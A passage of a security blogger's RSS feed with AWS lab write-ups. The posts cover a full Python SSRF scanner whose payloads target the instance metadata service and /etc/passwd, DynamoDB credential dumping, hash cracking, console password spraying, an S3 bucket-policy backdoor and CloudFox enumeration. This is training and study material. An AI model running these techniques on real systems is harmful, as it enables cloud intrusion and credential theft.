confidential.xlsx.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GoveOtnKTUIp5uIkqneWyA.png" /><figcaption>Executing with different search query</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FwLDm0MbKTHPgQpd2g8vhw.png" /><figcaption>File is pass protected</figcaption></figure><p>Searching the teams chats with ‘password’ as search term and here we got the password for the above file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LwFsjvVPn13FFymz1hooiQ.png" /><figcaption>Searching over teams with the modules</figcaption></figure><p>And here we got the file content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NMo3bVFlKIWRz4M8y94A-g.png" /><figcaption>File content</figcaption></figure><p>Searching the mailbox with the search parameter and we got the username and password of DB user, DB creds. Same over to the mail box as well with the provide tool module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LpD0tGviMH-4Kt3EPcy8yA.png" /><figcaption>Mail search</figcaption></figure><p>Connecting using MySQL extension from VSCode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_mndciNm09p5vxpu6QkPcA.png" /><figcaption>Table dumped successfully</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74879f04546e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSRF Testing on AWS using custom Python code]]></title>
            <link>https://medium.com/@akarshad428/ssrf-testing-on-aws-using-custom-python-code-55b2e5ce7f8f?source=rss-7a6d5d45e315------2</link>
            <guid isPermaLink="false">https://medium.com/p/55b2e5ce7f8f</guid>
            <dc:creator><![CDATA[ArshadKhanShajahan]]></dc:creator>
            <pubDate>Wed, 17 Sep 2025 08:04:59 GMT</pubDate>
            <atom:updated>2025-09-17T08:04:59.465Z</atom:updated>
            <content:encoded><![CDATA[<p>While working through AWS based SSRF labs, for the easy approach created a python code to automate exploitation and speedup testing tasks. I used a custom Python script to test for SSRF vulnerabilities against the target application.</p><p>The code automates testing of multipart form endpoints for Server-Side Request Forgery vulnerabilities. It takes a target URL, the form fields to test, and static field values as input. For each specified field, the script injects a set of predefined SSRF payloads — such as local IPs, cloud metadata endpoints, or file:// paths — while keeping the other fields constant. Each payload is sent via an HTTP POST request, and the response is analysed for evidence keywords indicating sensitive information exposure, such as instance metadata (ami-id, instance-id) or local files (/etc/passwd). Responses and results, including HTTP status, payload, field, and any detected evidence, are saved to JSON and CSV files.</p><p>I used the Infinity Learning platform from CWL to test the custom python code just developed for detecting and testing SSRF vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RJk-kfZTO85SDyBAFSechg.png" /><figcaption>Infinity Learning platform from CWL</figcaption></figure><p>This is the lab given application and the dashboard is visible like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B4J6FgnpoJGDnTDHzsyKrg.png" /><figcaption>Lab Application dashboard</figcaption></figure><p>Tried to submit some basic data over to the provided parameters in the ‘demo’ page section given.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zQcf-pfzuWSefLzdzCIs5A.png" /><figcaption>Request</figcaption></figure><p>So here I used the custom python code for testing further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yJxJPAFV_bQMGYUy82YZoQ.png" /><figcaption>Python code</figcaption></figure><p>Entire python code:</p><pre>#!/usr/bin/env python3<br>&quot;&quot;&quot;<br>ssrf_scanner_.py<br>Simple multipart SSRF scanner with colored terminal output for success/evidence.<br><br>Usage:<br>python3 ssrf_scanner_colored.py -t &quot;http://54.166.141.194/process.php&quot; --form name ip email organization \<br>  --form-fields &quot;name=test&quot; &quot;ip=ssds&quot; &quot;email=sdsd&quot; &quot;organization=sdsd&quot; -v -o out_all<br>&quot;&quot;&quot;<br>import argparse, requests, json, csv, sys, os, time<br>from pathlib import Path<br><br># Payloads (same as before)<br>PAYLOADS = [<br>    &quot;http://127.0.0.1/&quot;,<br>    &quot;http://localhost/&quot;,<br>    &quot;http://[::1]/&quot;,<br>    &quot;http://169.254.169.254/latest/meta-data/&quot;,<br>    &quot;http://169.254.169.254/metadata/instance?api-version=2020-09-01&quot;,<br>    &quot;file:///etc/passwd&quot;,<br>]<br><br># Evidence keywords to check in responses<br>EVIDENCE_KW = [&quot;root:&quot;, &quot;ec2&quot;, &quot;ami-id&quot;, &quot;instance-id&quot;, &quot;meta-data&quot;, &quot;/etc/passwd&quot;]<br><br># ANSI color codes<br>CLR_RESET = &quot;\033[0m&quot;<br>CLR_GREEN = &quot;\033[32m&quot;<br>CLR_YELLOW = &quot;\033[33m&quot;<br>CLR_RED = &quot;\033[31m&quot;<br>CLR_BLUE = &quot;\033[34m&quot;<br>CLR_BOLD = &quot;\033[1m&quot;<br><br>OUTDIR = &quot;ssrf_outputs&quot;<br><br>def save_response(payload_label, text):<br>    Path(OUTDIR).mkdir(parents=True, exist_ok=True)<br>    safe = &quot;&quot;.join(c if c.isalnum() else &quot;_&quot; for c in payload_label)[:120]<br>    fname = f&quot;{OUTDIR}/resp_{safe}.txt&quot;<br>    with open(fname, &quot;w&quot;, encoding=&quot;utf-8&quot;, errors=&quot;ignore&quot;) as f:<br>        f.write(text or &quot;&quot;)<br>    return fname<br><br>def scan_field(target, form_fields, field, verbose=False):<br>    results = []<br>    for payload in PAYLOADS:<br>        data = {k:v for k,v in form_fields.items()}<br>        data[field] = payload<br>        if verbose:<br>            print(f&quot;{CLR_BLUE}[&gt;] Testing field={field} payload={payload}{CLR_RESET}&quot;)<br>        try:<br>            r = requests.post(target, files={k:(None,v) for k,v in data.items()}, timeout=12, verify=False)<br>            text = r.text or &quot;&quot;<br>            status = r.status_code<br>            # detect evidence<br>            found = []<br>            lower = text.lower()<br>            for kw in EVIDENCE_KW:<br>                if kw.lower() in lower:<br>                    found.append(kw)<br>            # Save raw response for proof<br>            resp_file = save_response(f&quot;{field}_{payload}&quot;, text)<br>            # Decide colorized output<br>            if found and status == 200:<br>                # SUCCESS<br>                print(f&quot;{CLR_GREEN}{CLR_BOLD}SUCCESS{CLR_RESET} {CLR_GREEN}- field={field} payload={payload} status={status} evidence={found} (saved:{resp_file}){CLR_RESET}&quot;)<br>            elif found and status != 200:<br>                # potential, evidence but status != 200<br>                print(f&quot;{CLR_YELLOW}POTENTIAL{CLR_RESET} - field={field} payload={payload} status={status} evidence={found} (saved:{resp_file})&quot;)<br>            elif not found and status == 200:<br>                # OK but no evidence<br>                if verbose:<br>                    print(f&quot;{CLR_BLUE}OK{CLR_RESET} - field={field} payload={payload} status={status} (no evidence)&quot;)<br>            else:<br>                # error or non-200 with no evidence<br>                print(f&quot;{CLR_RED}NOTICE{CLR_RESET} - field={field} payload={payload} status={status} (no evidence)&quot;)<br><br>            result = {<br>                &quot;field&quot;: field,<br>                &quot;payload&quot;: payload,<br>                &quot;status&quot;: status,<br>                &quot;length&quot;: len(text),<br>                &quot;evidence&quot;: found,<br>                &quot;resp_file&quot;: resp_file<br>            }<br>            results.append(result)<br><br>        except requests.exceptions.RequestException as e:<br>            print(f&quot;{CLR_RED}ERROR{CLR_RESET} - field={field} payload={payload} error={e}&quot;)<br>            results.append({<br>                &quot;field&quot;: field,<br>                &quot;payload&quot;: payload,<br>                &quot;status&quot;: None,<br>                &quot;length&quot;: 0,<br>                &quot;evidence&quot;: [],<br>                &quot;error&quot;: str(e),<br>                &quot;resp_file&quot;: None<br>            })<br>        # small sleep<br>        time.sleep(0.2)<br>    return results<br><br>def main():<br>    parser = argparse.ArgumentParser()<br>    parser.add_argument(&quot;-t&quot;,&quot;--target&quot;, required=True)<br>    parser.add_argument(&quot;--form&quot;, nargs=&quot;+&quot;, required=True, help=&quot;fields to fuzz&quot;)<br>    parser.add_argument(&quot;--form-fields&quot;, nargs=&quot;+&quot;, required=True, help=&quot;static form fields key=value&quot;)<br>    parser.add_argument(&quot;-o&quot;,&quot;--output&quot;, default=&quot;out&quot;, help=&quot;output prefix&quot;)<br>    parser.add_argument(&quot;-v&quot;,&quot;--verbose&quot;, action=&quot;store_true&quot;)<br>    args = parser.parse_args()<br><br>    form_fields = {}<br>    for kv in args.form_fields:<br>        if &quot;=&quot; not in kv:<br>            print(&quot;Invalid form field:&quot;, kv); sys.exit(1)<br>        k,v = kv.split(&quot;=&quot;,1); form_fields[k]=v<br><br>    all_results = []<br>    for f in args.form:<br>        if args.verbose:<br>            print(f&quot;\n{CLR_BOLD}[*] Running SSRF tests on field: {f}{CLR_RESET}&quot;)<br>        res = scan_field(args.target, form_fields, f, verbose=args.verbose)<br>        all_results.extend(res)<br><br>    # save JSON &amp; CSV<br>    json_file = f&quot;{args.output}.json&quot;<br>    csv_file = f&quot;{args.output}.csv&quot;<br>    with open(json_file,&quot;w&quot;) as jf:<br>        json.dump(all_results, jf, indent=2)<br>    import csv as _csv<br>    with open(csv_file,&quot;w&quot;, newline=&quot;&quot;) as cf:<br>        writer = _csv.DictWriter(cf, fieldnames=[&quot;field&quot;,&quot;payload&quot;,&quot;status&quot;,&quot;length&quot;,&quot;evidence&quot;,&quot;resp_file&quot;])<br>        writer.writeheader()<br>        for r in all_results:<br>            writer.writerow(r)<br>    print(f&quot;\n[+] Results saved: {json_file}, {csv_file}&quot;)<br>    print(f&quot;[+] Raw responses saved under: {OUTDIR}/&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*kHm177DxmibOkrnf3rzH6g.gif" /></figure><p>And successfully we got the response, the app fetched AWS Instance Metadata and returned AMI/instance identifiers, confirmed SSRF to the instance metadata service (IMDS). Also the app returned local file contents and confirmed local file read or unsafe file access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*94MIYSZT9LiijPYTano4uw.png" /><figcaption>Code scan result</figcaption></figure><p>After this we can now manually inject the code given payload on the specified request parameter as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*srnJLNjbe2gUX3-y3_lheA.png" /><figcaption>Manual validation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nX5SSmHJvUaJmFwKu5wk5Q.png" /><figcaption>Manual validation for LFI</figcaption></figure><p>Script results were saved to enable detailed review and assessment for further analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FVMWBfrTNA-HBrZPH0ZcYg.png" /><figcaption>Scan results of Python code</figcaption></figure><p>Detailed code results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Ue-Rg3NaSGiiOws-cAr4g.png" /><figcaption>Results</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*lAexCiURRDeFc4Z3_3CAEw.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55b2e5ce7f8f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Credential Extraction from DynamoDB via Pacu & Dynamodump]]></title>
            <link>https://medium.com/@akarshad428/credential-extraction-from-dynamodb-via-pacu-dynamodump-cfe4dcc24127?source=rss-7a6d5d45e315------2</link>
            <guid isPermaLink="false">https://medium.com/p/cfe4dcc24127</guid>
            <dc:creator><![CDATA[ArshadKhanShajahan]]></dc:creator>
            <pubDate>Mon, 01 Sep 2025 04:59:13 GMT</pubDate>
            <atom:updated>2025-09-01T04:59:13.043Z</atom:updated>
            <content:encoded><![CDATA[<p>In the Pwned Labs exercise <strong>“Execute and Identify Credential Abuse in AWS”</strong>, extracting sensitive information stored within <strong>DynamoDB</strong>. To perform the enumeration, I utilized both <strong>Pacu</strong>, an open-source AWS exploitation framework, and <strong>dynamodump</strong>, a tool designed to dump the contents of DynamoDB tables. These tools allowed me to efficiently list and retrieve table data, making it easier to identify credentials or other sensitive entries stored within the database.</p><p>Configuring the lab with the provided user account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/0*7xPtXf069u9e5826" /><figcaption>User configuring</figcaption></figure><p><strong>🚀DynamoDB Enumeration:</strong></p><p>Used Pacu for further enumerating the dynamoDB using the dynamo_db enum module available and can able to enumerate the tables associated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uczf_ga-mrtmhJVr" /><figcaption>Table details enumerated</figcaption></figure><p>Dumping table schema details using the given module in Pacu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/0*tpqLYbGxVt5qanON" /><figcaption>Table schema details</figcaption></figure><p>For further enumeration I have taken another tool called dynamodump.</p><p><a href="https://github.com/bchew/dynamodump">GitHub - bchew/dynamodump: Simple backup and restore for Amazon DynamoDB using AWS SDK for Python (boto3)</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dwc4W8Wvl3ciweBg" /><figcaption>Enumeration using dynamodump</figcaption></figure><p>After the tool execution done we got the enumeration results saved as the table names given.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/0*y0wznRidM5wk4GjD" /><figcaption>Tool results for the tables available</figcaption></figure><p>Got the schema from the dynamodump tool results also users ID and password hash dumped successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wLxFewXp6HGaGXxr" /><figcaption>Table schema details from dynamodump tool result</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*E7-nS727a7Uqwsyq" /><figcaption>User’s hash dumped successfully</figcaption></figure><p>🚀 <strong>Credential Hash Cracking:</strong></p><p>Tried to crack those user’s hash as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0jK3DUrahisbcJUy" /><figcaption>Hash cracked successfully</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*iR7YkpsnpaaqCYaMx4X6mg.gif" /></figure><p>🚀 <strong>AWS Password Spraying:</strong></p><p>So now we have the username and password with us, so need to make a console based password spray over with the help of GoAWSConsoleSpray tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-POqXEgghcf3w7Ue" /><figcaption>Password spray using GoAWSConsoleSpray</figcaption></figure><p>And successfully identified the user and using the given user’s AWS account ID we can now able to login to the console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-vHOXg2BZ7wL0_PL" /><figcaption>Logged in as rstead user</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*y4PiLp01pVmnZe5xVPNJ5A.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cfe4dcc24127" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Backdoor on S3 using bucket policy]]></title>
            <link>https://medium.com/@akarshad428/backdoor-on-s3-using-bucket-policy-a118807431bd?source=rss-7a6d5d45e315------2</link>
            <guid isPermaLink="false">https://medium.com/p/a118807431bd</guid>
            <dc:creator><![CDATA[ArshadKhanShajahan]]></dc:creator>
            <pubDate>Fri, 22 Aug 2025 05:37:19 GMT</pubDate>
            <atom:updated>2025-08-22T05:37:19.245Z</atom:updated>
            <content:encoded><![CDATA[<p>While exploring the labs provided by Cybr, I came across one focused on <strong>Backdoor execution on S3 — Backdooring an S3 Bucket via its Bucket Policy with Stratus Red Team</strong>. In the lab, they use an automated tool called Stratus Red Team for executing backdoor on S3 bucket by modifying its bucket policy to grant access to an external AWS account. But here I tried this one by attempting the same scenario manually by creating an S3 bucket and configuring its policies then accessing from an external AWS account.</p><p><strong>Overview:</strong></p><p>I combined two labs into a single practical scenario. First, I recreated the Backdoor an S3 Bucket via its Bucket Policy lab manually by creating an S3 bucket in one AWS account and modifying its bucket policy to grant access to an external AWS account, effectively creating a backdoor. Then, using the AWS-IAM-02: Enumerating IAM Permissions with simulate-principal-policy lab, I switched to the external (attacker) account and ran permission simulations to identify which S3 actions were allowed. This confirmed that the attacker account could successfully access the bucket and retrieve objects, demonstrating a complete attack chain from misconfiguration to exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jkaDDos5xXoOtxAo" /><figcaption>Flow path</figcaption></figure><p><strong>🚀Part 1 : Backdooring an S3 Bucket via Bucket Policy</strong></p><p>Configuring with the user who has the permission to create an S3 bucket, note the <strong>cybr1 </strong>profile is the user with the permissions to create and configure the S3 bucket. Creating a new S3 bucket (victim account — cybr1).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/0*ru0sgjYGf35FZDn8" /><figcaption>User configuring</figcaption></figure><p>Created an S3 with the name as ‘<em>mynew123-uni-bucket-name</em>’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*aZkOiXXrJFrI2DfV" /><figcaption>S3 created</figcaption></figure><p>Setting a new policy for this created bucket with an external user account details, the external user account is also from another platform. Note that the external user account is named as the below and the profile given name on AWS configure is as — <strong>cwl1(DevAppUser).</strong></p><p>Update the bucket policy to allow an external AWS account (attacker) to access and extracts data from an S3 bucket by modifying its Bucket Policy to grant access to an external, unauthorized AWS account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/0*fr3NW5619Vns5O15" /><figcaption>Bucket policy with external user account access provided</figcaption></figure><p>Update the bucket policy to allow an external AWS account (attacker profile— cwl1) access and apply the bucket policy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/0*KQyB_aotX-JH_7Hl" /><figcaption>Bucket policy applied</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*OkarT0PGA9-arUwOykyzqQ.gif" /></figure><p><strong>🚀Part 2 : Enumerating IAM Permissions of External user account</strong></p><p>Then logged in as an external user profile configured as <strong>cwl1(DevAppUser)</strong> is the external AWS account user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/0*WSoIeMrv5PphMPKm" /><figcaption>External user account — note this user account is mentioned on the bucket policy given</figcaption></figure><p>So for this account we have certain enumerations for setting the IAM permissions. From the lab — <strong>AWS-IAM-02: Enumerating IAM Permissions using simulate-principal-policy</strong> provided by CWL.</p><p>The PowerShell script on the below one reads a list of AWS IAM permissions from a file (policy.txt) and checks, one by one, whether a specific IAM user (DevAppUser) has those permissions using the <strong>IAM Policy Simulator</strong> (aws iam simulate-principal-policy). For each permission in the file, it runs the simulation, captures the result, and outputs whether the action is allowed or denied. This helps in quickly validating which permissions a given IAM user actually has based on their attached policies. User with SimulatePrincipalPolicy permission.</p><p>Create a permission list file (policy.txt)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/0*0_k1pqrF62DWp9Ra" /><figcaption>Permission list to check</figcaption></figure><p>Using IAM Policy Simulator to check permissions from the list given.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/0*IqU1HdyiTz0raTg3" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/0*NkZgD9nzx81dWK0T" /><figcaption>User granted permissions result</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*tExoYJM3ipP7orNivkk51w.png" /><figcaption>Permissions listed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*IHehmP61U4SRpsXCVlFoTg.gif" /></figure><p>It confirms that the user has the permission s3:ListBucket, and the decision is <strong>&quot;allowed&quot;</strong> because of the attached <strong>AmazonS3ReadOnlyAccess</strong> policy.</p><p><strong>🚀Part 3: Exploiting the Backdoor</strong></p><p>So after simulating the policies we can now able to access the S3 from the external user account.</p><p>With the confirmed access, the attacker can now interact with the victim user’s bucket:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/0*tIL6kgpmLV5rMgdB" /><figcaption>S3 accessed from external user</figcaption></figure><p><strong>By combining the two labs:</strong></p><ul><li><strong>Lab 1 (Backdoor S3 bucket policy)</strong> → introduced the misconfiguration (cross-account access).</li><li><strong>Lab 2 (IAM simulate-principal-policy)</strong> → allowed the attacker account to enumerate and confirm their effective S3 permissions.</li></ul><p>Access denied for other user accounts which is not mentioned on the bucket policy. — — — — — Just for understanding — — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XpUlJwvH66E6DL4y" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*Mxj8zhTH-_YVIxDJdAL3lg.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a118807431bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CloudFox based AWS Enumeration Techniques]]></title>
            <link>https://medium.com/@akarshad428/cloudfox-based-aws-enumeration-techniques-125719810556?source=rss-7a6d5d45e315------2</link>
            <guid isPermaLink="false">https://medium.com/p/125719810556</guid>
            <dc:creator><![CDATA[ArshadKhanShajahan]]></dc:creator>
            <pubDate>Fri, 15 Aug 2025 10:36:11 GMT</pubDate>
            <atom:updated>2025-08-15T10:36:11.533Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>CloudFox:</strong></p><p>CloudFox is an open-source command-line tool developed by Bishop Fox, helpful in streamlining the discovery of exploitable attack paths within cloud infrastructure, enabling faster and more effective security assessments.</p><p><strong>Tool:</strong></p><p><a href="https://github.com/BishopFox/cloudfox">https://github.com/BishopFox/cloudfox</a></p><p><a href="https://github.com/BishopFox/cloudfox/wiki/AWS-Commands">https://github.com/BishopFox/cloudfox/wiki/AWS-Commands</a></p><p><strong>CloudFox helps in enumerating a wide range of services available on AWS, these are only a few services available across the tool</strong>:</p><p><strong>inventory</strong> — Lists used regions and resource counts across AWS and details(count) of the services available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NuyL4CKJMcHnTOud" /><figcaption>Resource count</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Z629vkQBTEz8gIdW" /><figcaption>Roles</figcaption></figure><p><strong>buckets</strong> — Enumerates S3 buckets and helps inspect their contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*36gs7zFShKJvC6Zj" /><figcaption>Bucket details</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/0*RdxT4ocIVJpkvs8d" /></figure><p><strong>instances</strong> — Retrieves EC2 instance names, public/private IPs, and instance profiles; generates loot files for further scanning.</p><p><strong>elastic-network-interfaces (ENI)</strong> — Lists all ENIs (including those tied to EC2, RDS, ELBs); outputs both public/private IPs.</p><p><strong>endpoints</strong> — Enumerates endpoints (e.g. API Gateway, RDS hostnames) across services; outputs URLs and ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PHnlRrP3_YG_JAFx" /><figcaption>Endpoint details if any</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/0*bptoRFda1uugTix-" /></figure><p><strong>env-vars</strong> — Extracts environment variables from services like Lambda, App Runner, SageMaker, etc.; helpful for finding secrets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*e1_jVcknb2PcSpN3" /><figcaption>Service based environment variables</figcaption></figure><p><strong>secrets</strong> — Lists secrets from AWS Secrets Manager and SSM Parameter Store.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Um-Xfe0aA1NshVcf" /></figure><p>List of function metadata- function name, role, details would be enumerated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/0*PEPJykesqEIli33L" /></figure><p><strong>permissions</strong> — Displays IAM permissions associated with users and roles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Zt1L-vxKathkUlDq" /><figcaption>IAM roles</figcaption></figure><p><strong>iam-simulator</strong> — Uses AWS IAM policy simulator to evaluate which actions a principal can perform.</p><p><strong>role-trusts</strong> — Analyzes IAM role trust policies to find overly permissive trusts or cross-account access.</p><p><strong>resource-trusts</strong> — Checks resource-based policies across services for overly permissive trusts.</p><p><strong>outbound-assumed-roles</strong> — Lists roles that have been assumed, helping track cross-account attack paths.</p><p><strong>ecr</strong> — Lists ECR repositories and image URIs; outputs pull commands for further inspection, if we have any registry available we can enumerate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xlI-O7KsQotFbzLw" /></figure><p><strong>cloudformation</strong> — Enumerates CloudFormation stacks and outputs stack details; useful for discovering stack parameters or secrets.<br><strong>databases</strong> — Enumerates RDS databases with connection strings in loot files.</p><p><strong>ecs-tasks</strong> — Lists ECS tasks with associated cluster, task definitions, and IAM roles.</p><p><strong>eks</strong> — Lists EKS clusters, whether they’re publicly accessible, and provides kubeconfig update commands.</p><p><strong>network-ports</strong> — Identifies potential network-exposed services by analyzing SGs and NACLs.</p><p><strong>workloads</strong> — Enumerates compute workloads and associated roles, flagging roles with admin privileges or potential privilege escalation.<br><strong>sns</strong> / <strong>sqs</strong> — Enumerates SNS topics and SQS queues; outputs commands to subscribe, publish, or receive messages.</p><p><strong>tags</strong> — Lists all tagged resources and associated tags across services.<br><strong>orgs</strong> — Lists accounts in an AWS Organization.</p><p><strong>principals </strong>— enumerating IAM user roles and permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kSXlGukq_Qd1xdqd" /><figcaption>IAM Roles and Permissions</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=125719810556" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>